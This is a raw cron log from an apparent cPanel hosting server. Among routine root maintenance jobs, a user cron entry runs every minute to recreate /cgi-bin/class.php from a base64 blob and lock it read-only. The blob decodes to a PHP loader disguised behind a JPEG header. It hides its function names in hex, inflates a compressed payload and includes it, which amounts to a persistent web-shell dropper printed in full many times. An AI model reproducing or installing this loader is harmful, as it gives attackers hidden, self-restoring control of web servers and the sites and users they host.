Sep  4 04:51:01 server CROND[7277]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:52:01 server CROND[7638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:52:01 server CROND[7639]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:52:01 server CROND[7640]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:53:01 server CROND[8103]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:53:01 server CROND[8104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:53:01 server CROND[8105]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:54:01 server CROND[8481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:54:01 server CROND[8482]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:54:01 server CROND[8483]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:55:01 server CROND[8875]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 04:55:01 server CROND[8876]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:55:01 server CROND[8878]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 04:55:01 server CROND[8881]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:55:01 server CROND[8883]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 04:55:01 server CROND[8879]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 04:55:01 server CROND[8880]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:56:01 server CROND[9715]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:56:01 server CROND[9716]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:56:01 server CROND[9717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:57:01 server CROND[10099]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 04:57:01 server CROND[10101]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:57:01 server CROND[10106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:57:01 server CROND[10107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:58:01 server CROND[10583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:58:01 server CROND[10584]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 04:58:01 server CROND[10585]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:59:01 server CROND[10970]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:59:01 server CROND[10971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:59:01 server CROND[10972]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:00:01 server CROND[11379]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 05:00:01 server CROND[11381]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 05:00:01 server CROND[11383]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 05:00:01 server CROND[11387]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:00:01 server CROND[11386]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  4 05:00:01 server CROND[11389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:00:01 server CROND[11392]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:00:01 server CROND[11388]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 05:00:01 server CROND[11390]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 05:01:01 server CROND[12239]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 05:01:01 server CROND[12240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:01:01 server CROND[12242]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:01:01 server run-parts(/etc/cron.hourly)[12239]: starting 0anacron
Sep  4 05:01:01 server CROND[12248]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:01:01 server run-parts(/etc/cron.hourly)[12258]: finished 0anacron
Sep  4 05:02:01 server CROND[12667]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 05:02:01 server CROND[12668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 05:02:01 server CROND[12666]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 05:03:01 server CROND[13150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
